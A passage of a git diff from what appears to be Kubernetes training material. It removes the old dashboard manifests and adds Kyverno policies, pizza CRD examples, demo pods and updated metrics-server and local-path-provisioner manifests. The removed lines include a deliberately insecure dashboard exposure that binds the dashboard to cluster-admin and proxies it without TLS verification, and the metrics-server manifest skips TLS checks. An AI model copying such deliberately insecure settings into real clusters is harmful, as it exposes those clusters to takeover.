-        - apk add --no-cache socat && socat TCP-LISTEN:80,fork,reuseaddr OPENSSL:kubernetes-dashboard.kubernetes-dashboard:443,verify=0
-        image: alpine
-        name: dashboard
-
----
-
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: dashboard
-  name: dashboard
-spec:
-  ports:
-  - port: 80
-    protocol: TCP
-    targetPort: 80
-  selector:
-    app: dashboard
-  type: NodePort
-
----
-
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: insecure-dashboard
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: cluster-admin
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard

k8s/kubernetes-dashboard.yaml

@@ -1,162 +0,0 @@
-# Copyright 2017 The Kubernetes Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# ------------------- Dashboard Secret ------------------- #
-
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard-certs
-  namespace: kube-system
-type: Opaque
-
----
-# ------------------- Dashboard Service Account ------------------- #
-
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kube-system
-
----
-# ------------------- Dashboard Role & Role Binding ------------------- #
-
-kind: Role
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: kubernetes-dashboard-minimal
-  namespace: kube-system
-rules:
-  # Allow Dashboard to create 'kubernetes-dashboard-key-holder' secret.
-- apiGroups: [""]
-  resources: ["secrets"]
-  verbs: ["create"]
-  # Allow Dashboard to create 'kubernetes-dashboard-settings' config map.
-- apiGroups: [""]
-  resources: ["configmaps"]
-  verbs: ["create"]
-  # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
-- apiGroups: [""]
-  resources: ["secrets"]
-  resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs"]
-  verbs: ["get", "update", "delete"]
-  # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
-- apiGroups: [""]
-  resources: ["configmaps"]
-  resourceNames: ["kubernetes-dashboard-settings"]
-  verbs: ["get", "update"]
-  # Allow Dashboard to get metrics from heapster.
-- apiGroups: [""]
-  resources: ["services"]
-  resourceNames: ["heapster"]
-  verbs: ["proxy"]
-- apiGroups: [""]
-  resources: ["services/proxy"]
-  resourceNames: ["heapster", "http:heapster:", "https:heapster:"]
-  verbs: ["get"]
-
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: kubernetes-dashboard-minimal
-  namespace: kube-system
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: kubernetes-dashboard-minimal
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kube-system
-
----
-# ------------------- Dashboard Deployment ------------------- #
-
-kind: Deployment
-apiVersion: apps/v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kube-system
-spec:
-  replicas: 1
-  revisionHistoryLimit: 10
-  selector:
-    matchLabels:
-      k8s-app: kubernetes-dashboard
-  template:
-    metadata:
-      labels:
-        k8s-app: kubernetes-dashboard
-    spec:
-      containers:
-      - name: kubernetes-dashboard
-        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
-        ports:
-        - containerPort: 8443
-          protocol: TCP
-        args:
-          - --auto-generate-certificates
-          # Uncomment the following line to manually specify Kubernetes API server Host
-          # If not specified, Dashboard will attempt to auto discover the API server and connect
-          # to it. Uncomment only if the default does not work.
-          # - --apiserver-host=http://my-address:port
-        volumeMounts:
-        - name: kubernetes-dashboard-certs
-          mountPath: /certs
-          # Create on-disk volume to store exec logs
-        - mountPath: /tmp
-          name: tmp-volume
-        livenessProbe:
-          httpGet:
-            scheme: HTTPS
-            path: /
-            port: 8443
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-      volumes:
-      - name: kubernetes-dashboard-certs
-        secret:
-          secretName: kubernetes-dashboard-certs
-      - name: tmp-volume
-        emptyDir: {}
-      serviceAccountName: kubernetes-dashboard
-      # Comment the following tolerations if Dashboard must not be deployed on master
-      tolerations:
-      - key: node-role.kubernetes.io/master
-        effect: NoSchedule
-
----
-# ------------------- Dashboard Service ------------------- #
-
-kind: Service
-apiVersion: v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kube-system
-spec:
-  ports:
-    - port: 443
-      targetPort: 8443
-  selector:
-    k8s-app: kubernetes-dashboard

k8s/kyverno-ingress-domain-name-1.yaml

@@ -0,0 +1,28 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources: 
+        kinds:
+        - Service
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      number: 80
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-2a.yaml

@@ -0,0 +1,32 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources: 
+        kinds:
+        - Service
+    preconditions:
+    - key: "{{request.object.spec.ports[0].name}}"
+      operator: Equals
+      value: http
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-2b.yaml

@@ -0,0 +1,32 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources: 
+        kinds:
+        - Service
+    preconditions:
+      - key: http
+        operator: In
+        value: "{{request.object.spec.ports[*].name}}"
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-2c.yaml

@@ -0,0 +1,34 @@
+# Note: this policy uses the operator "AnyIn", which was introduced in Kyverno 1.6.
+# (This policy won't work with Kyverno 1.5!)
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources: 
+        kinds:
+        - Service
+    preconditions:
+      - key: "{{request.object.spec.ports[*].port}}"
+        operator: AnyIn
+        value: [ 80 ]
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-3.yaml

@@ -0,0 +1,37 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    context:
+    - name: configmap
+      configMap:
+        name: ingress-domain-name
+        namespace: "{{request.object.metadata.namespace}}"
+    match:
+      resources: 
+        kinds:
+        - Service
+    preconditions:
+    - key: "{{request.object.spec.ports[0].name}}"
+      operator: Equals
+      value: http
+    generate: 
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.{{configmap.data.domain}}"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-namespace-setup.yaml

@@ -0,0 +1,63 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: setup-namespace
+spec:
+  rules:
+  - name: setup-limitrange
+    match:
+      resources: 
+        kinds:
+        - Namespace
+    generate: 
+      kind: LimitRange
+      name: default-limitrange
+      namespace: "{{request.object.metadata.name}}" 
+      data:
+        spec:
+          limits:
+          - type: Container
+            min:
+              cpu: 0.1
+              memory: 0.1
+            max:
+              cpu: 2
+              memory: 2Gi
+            default:
+              cpu: 0.25
+              memory: 500Mi
+            defaultRequest:
+              cpu: 0.25
+              memory: 250Mi
+  - name: setup-resourcequota
+    match:
+      resources: 
+        kinds:
+        - Namespace
+    generate: 
+      kind: ResourceQuota
+      name: default-resourcequota
+      namespace: "{{request.object.metadata.name}}" 
+      data:
+        spec:
+          hard:
+            requests.cpu: "10"
+            requests.memory: 10Gi
+            limits.cpu: "20"
+            limits.memory: 20Gi
+  - name: setup-networkpolicy
+    match:
+      resources: 
+        kinds:
+        - Namespace
+    generate: 
+      kind: NetworkPolicy
+      name: default-networkpolicy
+      namespace: "{{request.object.metadata.name}}" 
+      data:
+        spec:
+          podSelector: {}
+          ingress:
+          - from:
+            - podSelector: {}
+

k8s/kyverno-pod-color-1.yaml

@@ -0,0 +1,22 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-1
+spec:
+  validationFailureAction: enforce
+  rules:
+  - name: ensure-pod-color-is-valid
+    match:
+      resources:
+        kinds:
+        - Pod
+        selector:
+          matchExpressions:
+          - key: color
+            operator: Exists
+          - key: color
+            operator: NotIn
+            values: [ red, green, blue ]
+    validate:
+      message: "If it exists, the label color must be red, green, or blue."
+      deny: {}

k8s/kyverno-pod-color-2.yaml

@@ -0,0 +1,31 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-2
+spec:
+  validationFailureAction: enforce
+  background: false
+  rules:
+  - name: prevent-color-change
+    match:
+      resources:
+        kinds:
+        - Pod
+    preconditions:
+    - key: "{{ request.operation }}"
+      operator: Equals
+      value: UPDATE
+    - key: "{{ request.oldObject.metadata.labels.color || '' }}"
+      operator: NotEquals
+      value: ""
+    - key: "{{ request.object.metadata.labels.color || '' }}"
+      operator: NotEquals
+      value: ""
+    validate:
+      message: "Once label color has been added, it cannot be changed."
+      deny:
+        conditions:
+        - key: "{{ request.object.metadata.labels.color }}"
+          operator: NotEquals
+          value: "{{ request.oldObject.metadata.labels.color }}"
+

k8s/kyverno-pod-color-3.yaml

@@ -0,0 +1,28 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-3
+spec:
+  validationFailureAction: enforce
+  background: false
+  rules:
+  - name: prevent-color-change
+    match:
+      resources:
+        kinds:
+        - Pod
+    preconditions:
+    - key: "{{ request.operation }}"
+      operator: Equals
+      value: UPDATE
+    - key: "{{ request.oldObject.metadata.labels.color || '' }}"
+      operator: NotEquals
+      value: ""
+    - key: "{{ request.object.metadata.labels.color || '' }}"
+      operator: Equals
+      value: ""
+    validate:
+      message: "Once label color has been added, it cannot be removed."
+      deny:
+        conditions:
+

k8s/kyverno-tls-for-ingress.yaml

@@ -0,0 +1,46 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: tls-for-ingress
+spec:
+  rules:
+  - name: create-role
+    match:
+      resources: 
+        kinds:
+        - Certificate
+    generate: 
+      kind: Role
+      apiVersion: rbac.authorization.k8s.io/v1
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        rules:
+        - verbs:
+          - get
+          apiGroups:
+          - ""
+          resources:
+          - secrets
+          resourceNames:
+          - "{{request.object.metadata.name}}"
+  - name: create-rolebinding
+    match:
+      resources: 
+        kinds:
+        - Certificate
+    generate: 
+      kind: RoleBinding
+      apiVersion: rbac.authorization.k8s.io/v1
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        roleRef:
+          apiGroup: rbac.authorization.k8s.io
+          kind: Role
+          name: "{{request.object.metadata.name}}"
+        subjects:
+        - kind: ServiceAccount
+          name: default
+          namespace: "{{request.object.metadata.namespace}}"
+

k8s/local-path-storage.yaml

@@ -1,49 +1,50 @@
 # This is a local copy of:
 # https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
----
 apiVersion: v1
 kind: Namespace
 metadata:
   name: local-path-storage
+
 ---
 apiVersion: v1
 kind: ServiceAccount
 metadata:
   name: local-path-provisioner-service-account
   namespace: local-path-storage
+
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
   name: local-path-provisioner-role
-  namespace: local-path-storage
 rules:
-- apiGroups: [""]
-  resources: ["nodes", "persistentvolumeclaims"]
-  verbs: ["get", "list", "watch"]
-- apiGroups: [""]
-  resources: ["endpoints", "persistentvolumes", "pods"]
-  verbs: ["*"]
-- apiGroups: [""]
-  resources: ["events"]
-  verbs: ["create", "patch"]
-- apiGroups: ["storage.k8s.io"]
-  resources: ["storageclasses"]
-  verbs: ["get", "list", "watch"]
+  - apiGroups: [ "" ]
+    resources: [ "nodes", "persistentvolumeclaims", "configmaps" ]
+    verbs: [ "get", "list", "watch" ]
+  - apiGroups: [ "" ]
+    resources: [ "endpoints", "persistentvolumes", "pods" ]
+    verbs: [ "*" ]
+  - apiGroups: [ "" ]
+    resources: [ "events" ]
+    verbs: [ "create", "patch" ]
+  - apiGroups: [ "storage.k8s.io" ]
+    resources: [ "storageclasses" ]
+    verbs: [ "get", "list", "watch" ]
+
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRoleBinding
 metadata:
   name: local-path-provisioner-bind
-  namespace: local-path-storage
 roleRef:
   apiGroup: rbac.authorization.k8s.io
   kind: ClusterRole
   name: local-path-provisioner-role
 subjects:
-- kind: ServiceAccount
-  name: local-path-provisioner-service-account
-  namespace: local-path-storage
+  - kind: ServiceAccount
+    name: local-path-provisioner-service-account
+    namespace: local-path-storage
+
 ---
 apiVersion: apps/v1
 kind: Deployment
@@ -62,27 +63,28 @@ spec:
     spec:
       serviceAccountName: local-path-provisioner-service-account
       containers:
-      - name: local-path-provisioner
-        image: rancher/local-path-provisioner:v0.0.8
-        imagePullPolicy: Always
-        command:
-        - local-path-provisioner
-        - --debug
-        - start
-        - --config
-        - /etc/config/config.json
-        volumeMounts:
-        - name: config-volume
-          mountPath: /etc/config/
-        env:
-        - name: POD_NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
+        - name: local-path-provisioner
+          image: rancher/local-path-provisioner:v0.0.19
+          imagePullPolicy: IfNotPresent
+          command:
+            - local-path-provisioner
+            - --debug
+            - start
+            - --config
+            - /etc/config/config.json
+          volumeMounts:
+            - name: config-volume
+              mountPath: /etc/config/
+          env:
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
       volumes:
         - name: config-volume
           configMap:
             name: local-path-config
+
 ---
 apiVersion: storage.k8s.io/v1
 kind: StorageClass
@@ -91,6 +93,7 @@ metadata:
 provisioner: rancher.io/local-path
 volumeBindingMode: WaitForFirstConsumer
 reclaimPolicy: Delete
+
 ---
 kind: ConfigMap
 apiVersion: v1
@@ -99,12 +102,59 @@ metadata:
   namespace: local-path-storage
 data:
   config.json: |-
-        {
-                "nodePathMap":[
-                {
-                        "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
-                        "paths":["/opt/local-path-provisioner"]
-                }
-                ]
-        }
+    {
+            "nodePathMap":[
+            {
+                    "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
+                    "paths":["/opt/local-path-provisioner"]
+            }
+            ]
+    }
+  setup: |-
+    #!/bin/sh
+    while getopts "m:s:p:" opt
+    do
+        case $opt in
+            p)
+            absolutePath=$OPTARG
+            ;;
+            s)
+            sizeInBytes=$OPTARG
+            ;;
+            m)
+            volMode=$OPTARG
+            ;;
+        esac
+    done
+
+    mkdir -m 0777 -p ${absolutePath}
+  teardown: |-
+    #!/bin/sh
+    while getopts "m:s:p:" opt
+    do
+        case $opt in
+            p)
+            absolutePath=$OPTARG
+            ;;
+            s)
+            sizeInBytes=$OPTARG
+            ;;
+            m)
+            volMode=$OPTARG
+            ;;
+        esac
+    done
+
+    rm -rf ${absolutePath}
+  helperPod.yaml: |-
+    apiVersion: v1
+    kind: Pod
+    metadata:
+      name: helper-pod
+    spec:
+      containers:
+      - name: helper-pod
+        image: busybox
+
+
 

k8s/metrics-server.yaml

@@ -1,32 +1,61 @@
-kind: ClusterRole
-apiVersion: rbac.authorization.k8s.io/v1
+# This file is https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
+# But with the following arguments added to metrics-server:
+#   args:
+#   - --kubelet-insecure-tls
+#   - --metric-resolution=5s
+apiVersion: v1
+kind: ServiceAccount
 metadata:
-  name: system:aggregated-metrics-reader
   labels:
-    rbac.authorization.k8s.io/aggregate-to-view: "true"
-    rbac.authorization.k8s.io/aggregate-to-edit: "true"
-    rbac.authorization.k8s.io/aggregate-to-admin: "true"
-rules:
-- apiGroups: ["metrics.k8s.io"]
-  resources: ["pods"]
-  verbs: ["get", "list", "watch"]
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: metrics-server:system:auth-delegator
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: system:auth-delegator
-subjects:
-- kind: ServiceAccount
+    k8s-app: metrics-server
   name: metrics-server
   namespace: kube-system
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    k8s-app: metrics-server
+    rbac.authorization.k8s.io/aggregate-to-admin: "true"
+    rbac.authorization.k8s.io/aggregate-to-edit: "true"
+    rbac.authorization.k8s.io/aggregate-to-view: "true"
+  name: system:aggregated-metrics-reader
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: system:metrics-server
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - pods
+  - nodes
+  - nodes/stats
+  - namespaces
+  - configmaps
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
 kind: RoleBinding
 metadata:
+  labels:
+    k8s-app: metrics-server
   name: metrics-server-auth-reader
   namespace: kube-system
 roleRef:
@@ -38,95 +67,26 @@ subjects:
   name: metrics-server
   namespace: kube-system
 ---
-apiVersion: apiregistration.k8s.io/v1beta1
-kind: APIService
-metadata:
-  name: v1beta1.metrics.k8s.io
-spec:
-  service:
-    name: metrics-server
-    namespace: kube-system
-  group: metrics.k8s.io
-  version: v1beta1
-  insecureSkipTLSVerify: true
-  groupPriorityMinimum: 100
-  versionPriority: 100
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: metrics-server
-  namespace: kube-system
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: metrics-server
-  namespace: kube-system
-  labels:
-    k8s-app: metrics-server
-spec:
-  selector:
-    matchLabels:
-      k8s-app: metrics-server
-  template:
-    metadata:
-      name: metrics-server
-      labels:
-        k8s-app: metrics-server
-    spec:
-      serviceAccountName: metrics-server
-      volumes:
-      # mount in tmp so we can safely use from-scratch images and/or read-only containers
-      - name: tmp-dir
-        emptyDir: {}
-      containers:
-      - name: metrics-server
-        image: k8s.gcr.io/metrics-server-amd64:v0.3.3
-        imagePullPolicy: Always
-        volumeMounts:
-        - name: tmp-dir
-          mountPath: /tmp
-        args:
-        - --kubelet-preferred-address-types=InternalIP
-        - --kubelet-insecure-tls
-        - --metric-resolution=5s
-
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: metrics-server
-  namespace: kube-system
-  labels:
-    kubernetes.io/name: "Metrics-server"
-spec:
-  selector:
-    k8s-app: metrics-server
-  ports:
-  - port: 443
-    protocol: TCP
-    targetPort: 443
----
 apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
+kind: ClusterRoleBinding
 metadata:
-  name: system:metrics-server
-rules:
-- apiGroups:
-  - ""
-  resources:
-  - pods
-  - nodes
-  - nodes/stats
-  verbs:
-  - get
-  - list
-  - watch
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server:system:auth-delegator
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:auth-delegator
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
 ---
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRoleBinding
 metadata:
+  labels:
+    k8s-app: metrics-server
   name: system:metrics-server
 roleRef:
   apiGroup: rbac.authorization.k8s.io
@@ -136,3 +96,98 @@ subjects:
 - kind: ServiceAccount
   name: metrics-server
   namespace: kube-system
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+spec:
+  ports:
+  - name: https
+    port: 443
+    protocol: TCP
+    targetPort: https
+  selector:
+    k8s-app: metrics-server
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+spec:
+  selector:
+    matchLabels:
+      k8s-app: metrics-server
+  strategy:
+    rollingUpdate:
+      maxUnavailable: 0
+  template:
+    metadata:
+      labels:
+        k8s-app: metrics-server
+    spec:
+      containers:
+      - args:
+        - --cert-dir=/tmp
+        - --secure-port=4443
+        - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
+        - --kubelet-use-node-status-port
+        - --kubelet-insecure-tls
+        - --metric-resolution=5s
+        image: k8s.gcr.io/metrics-server/metrics-server:v0.4.3
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          failureThreshold: 3
+          httpGet:
+            path: /livez
+            port: https
+            scheme: HTTPS
+          periodSeconds: 10
+        name: metrics-server
+        ports:
+        - containerPort: 4443
+          name: https
+          protocol: TCP
+        readinessProbe:
+          failureThreshold: 3
+          httpGet:
+            path: /readyz
+            port: https
+            scheme: HTTPS
+          periodSeconds: 10
+        securityContext:
+          readOnlyRootFilesystem: true
+          runAsNonRoot: true
+          runAsUser: 1000
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-dir
+      nodeSelector:
+        kubernetes.io/os: linux
+      priorityClassName: system-cluster-critical
+      serviceAccountName: metrics-server
+      volumes:
+      - emptyDir: {}
+        name: tmp-dir
+---
+apiVersion: apiregistration.k8s.io/v1
+kind: APIService
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: v1beta1.metrics.k8s.io
+spec:
+  group: metrics.k8s.io
+  groupPriorityMinimum: 100
+  insecureSkipTLSVerify: true
+  service:
+    name: metrics-server
+    namespace: kube-system
+  version: v1beta1
+  versionPriority: 100

k8s/mounter.yaml

@@ -0,0 +1,20 @@
+kind: Pod
+apiVersion: v1
+metadata:
+  generateName: mounter-
+  labels:
+    container.training/mounter: ""
+spec:
+  volumes:
+  - name: pvc
+    persistentVolumeClaim:
+      claimName: my-pvc-XYZ45
+  containers:
+  - name: mounter
+    image: alpine
+    stdin: true
+    tty: true
+    volumeMounts:
+    - name: pvc
+      mountPath: /pvc
+    workingDir: /pvc

k8s/netpol-dockercoins.yaml

@@ -3,8 +3,7 @@ apiVersion: networking.k8s.io/v1
 metadata:
   name: deny-from-other-namespaces
 spec:
-  podSelector:
-    matchLabels:
+  podSelector: {}
   ingress:
   - from:
     - podSelector: {}

k8s/nginx-4-with-init.yaml

@@ -14,7 +14,7 @@ spec:
   initContainers:
   - name: git
     image: alpine
-    command: [ "sh", "-c", "apk add --no-cache git && git clone https://github.com/octocat/Spoon-Knife /www" ]
+    command: [ "sh", "-c", "apk add git && sleep 5 && git clone https://github.com/octocat/Spoon-Knife /www" ]
     volumeMounts:
     - name: www
       mountPath: /www/

k8s/openebs-pod.yaml

@@ -0,0 +1,24 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: openebs-local-hostpath-pod
+spec:
+  volumes:
+  - name: storage
+    persistentVolumeClaim:
+      claimName: local-hostpath-pvc
+  containers:
+  - name: better
+    image: alpine
+    command:
+       - sh
+       - -c
+       - |
+         while true; do
+           echo "$(date) [$(hostname)] Kubernetes is better with PVs." >> /mnt/storage/greet.txt
+           sleep $(($RANDOM % 5 + 20))
+         done
+    volumeMounts:
+    - mountPath: /mnt/storage
+      name: storage
+

k8s/pizza-1.yaml

@@ -0,0 +1,14 @@
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  version: v1alpha1
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz

k8s/pizza-2.yaml

@@ -0,0 +1,20 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object

k8s/pizza-3.yaml

@@ -0,0 +1,32 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            required: [ sauce, toppings ]
+            properties:
+              sauce:
+                type: string
+              toppings:
+                type: array
+                items:
+                  type: string

k8s/pizza-4.yaml

@@ -0,0 +1,39 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            required: [ sauce, toppings ]
+            properties:
+              sauce:
+                type: string
+              toppings:
+                type: array
+                items:
+                  type: string
+    additionalPrinterColumns:
+    - jsonPath: .spec.sauce
+      name: Sauce
+      type: string
+    - jsonPath: .spec.toppings
+      name: Toppings
+      type: string

k8s/pizza-5.yaml

@@ -0,0 +1,40 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            required: [ sauce, toppings ]
+            properties:
+              sauce:
+                type: string
+                enum: [ red, white ]
+              toppings:
+                type: array
+                items:
+                  type: string
+    additionalPrinterColumns:
+    - jsonPath: .spec.sauce
+      name: Sauce
+      type: string
+    - jsonPath: .spec.toppings
+      name: Toppings
+      type: string

k8s/pizzas.yaml

@@ -0,0 +1,45 @@
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: margherita
+spec:
+  sauce: red
+  toppings:
+    - mozarella
+    - basil
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: quatrostagioni
+spec:
+  sauce: red
+  toppings:
+    - artichoke
+    - basil
+    - mushrooms
+    - prosciutto
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: mehl31
+spec:
+  sauce: white
+  toppings:
+    - goatcheese
+    - pear
+    - walnuts
+    - mozzarella
+    - rosemary
+    - honey
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: brownie
+spec:
+  sauce: chocolate
+  toppings:
+    - nuts

k8s/postgres.yaml

@@ -22,7 +22,10 @@ spec:
         command: ["sh", "-c", "if [ -d /vol/lost+found ]; then rmdir /vol/lost+found; fi"]
       containers:
       - name: postgres
